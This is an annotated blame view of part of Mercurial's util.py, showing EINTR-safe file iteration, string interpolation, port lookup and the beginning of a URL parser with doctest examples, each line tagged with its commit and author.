1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2431 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2432 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2433 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2434 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2435 if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2436 # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2437 def _safeiterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2438 return iter(fp.readline, '')
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2439 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2440 # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2441 # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2442 def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2443 fd = fp.fileno()
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2444 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2445 while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2446 try:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2447 buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2448 except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2449 # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2450 if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2451 continue
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2452 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2453 raise
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2454 line += buf
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2455 if '\n' in buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2456 splitted = line.splitlines(True)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2457 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2458 for l in splitted:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2459 if l[-1] == '\n':
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2460 yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2461 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2462 line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2463 if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2464 break
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2465 if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2466 yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2467
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2468 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2469 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2470 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2471 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2472 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2473 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2474 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2475 return _safeiterfile(fp)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2476 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2477 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2478 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2479 return fp
30405 10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR Jun Wu <quark@fb.com> parents: 30369 diff changeset	2480
7879 5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2481 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2482 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2483 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2484 yield line
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2485
d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2486 def expandpath(path):
d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2487 return os.path.expanduser(os.path.expandvars(path))
10239 8e4be44a676f Find right hg command for detached process Patrick Mezard <pmezard@gmail.com> parents: 10199 diff changeset	2488
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2489 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2490 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2491
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2492 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2493 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2494 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2495
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2496 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2497 just before replacement.
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2498
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2499 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2500 its escaping.
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2501 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2502 fn = fn or (lambda s: s)
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2503 patterns = '\|'.join(mapping.keys())
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2504 if escape_prefix:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2505 patterns += '\|' + prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2506 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2507 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2508 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2509 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2510 mapping[prefix_char] = prefix_char
35166 25c543944bc0 py3: add b'' to regular expressions which are raw strings Pulkit Goyal <7895pulkit@gmail.com> parents: 35053 diff changeset	2511 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2512 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2513
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2514 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2515 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2516
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2517 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2518 looked up using socket.getservbyname(). If there's no matching
26587 56b2bcea2529 error: get Abort from 'error' instead of 'util' Pierre-Yves David <pierre-yves.david@fb.com> parents: 26493 diff changeset	2519 service, error.Abort is raised.
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2520 """
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2521 try:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2522 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2523 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2524 pass
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2525
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2526 try:
36076 15c8c4ac5d9c py3: pass system string to socket.getservbyname Gregory Szorc <gregory.szorc@gmail.com> parents: 35940 diff changeset	2527 return socket.getservbyname(pycompat.sysstr(port))
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2528 except socket.error:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	2529 raise error.Abort(_("no port number associated with service '%s'")
895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	2530 % port)
12087 a88a4720c2f0 parsebool: create new function and use it for config parsing Augie Fackler <durin42@gmail.com> parents: 12086 diff changeset	2531
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2532 class url(object):
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2533 r"""Reliable URL parser.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2534
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2535 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2536 components:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2537
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2538 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2539
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2540 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2541 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2542
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2543 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2544 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2545 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2546
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2547 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2548
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2549 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2550 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2551
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2552 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2553
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2554 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2555 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2556 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2557 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2558 >>> url(b'file:///home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2559 <url scheme: 'file', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2560 >>> url(b'file:///c:/temp/foo/')
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	2561 <url scheme: 'file', path: 'c:/temp/foo/'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2562 >>> url(b'bundle:foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2563 <url scheme: 'bundle', path: 'foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2564 >>> url(b'bundle://../foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2565 <url scheme: 'bundle', path: '../foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2566 >>> url(br'c:\foo\bar')
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2567 <url path: 'c:\\foo\\bar'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2568 >>> url(br'\\blah\blah\blah')
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	2569 <url path: '\\\\blah\\blah\\blah'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2570 >>> url(br'\\blah\blah\blah#baz')
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2571 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2572 >>> url(br'file:///C:\users\me')
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	2573 <url scheme: 'file', path: 'C:\\users\\me'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2574
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2575 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2576
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2577 >>> url(b'ssh://joe:xyz@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2578 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2579 >>> url(b'ssh://joe@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2580 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2581
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2582 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2583
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2584 >>> url(b'http://host/a?b#c')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2585 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2586 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2587 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2588
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2589 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2590
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2591 >>> url(b'')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2592 <url path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2593 >>> url(b'#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2594 <url path: '', fragment: 'a'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2595 >>> url(b'http://host/')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2596 <url scheme: 'http', host: 'host', path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2597 >>> url(b'http://host/#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2598 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2599
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2600 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2601
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2602 >>> url(b'http:')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2603 <url scheme: 'http'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2604 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2605
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2606 _safechars = "!~*'()+"
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	2607 _safepchars = "/!~*'()+:\\"
30339 dadb00a0ec0f util: use '\\' rather than using r'\' Augie Fackler <augie@google.com> parents: 30338 diff changeset	2608 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2609
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2610 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2611 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2612 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2613 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2614 self._localpath = True
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2615 self._hostport = ''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2616 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2617
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2618 if parsefragment and '#' in path:
64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2619 path, self.fragment = path.split('#', 1)
64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2620
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	2621 # special case for Windows drive letters and UNC paths
30339 dadb00a0ec0f util: use '\\' rather than using r'\' Augie Fackler <augie@google.com> parents: 30338 diff changeset	2622 if hasdriveletter(path) or path.startswith('\\\\'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2623 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2624 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2625
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2626 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2627 # normal URLS
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2628 if path.startswith('bundle:'):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2629 self.scheme = 'bundle'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2630 path = path[7:]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2631 if path.startswith('//'):
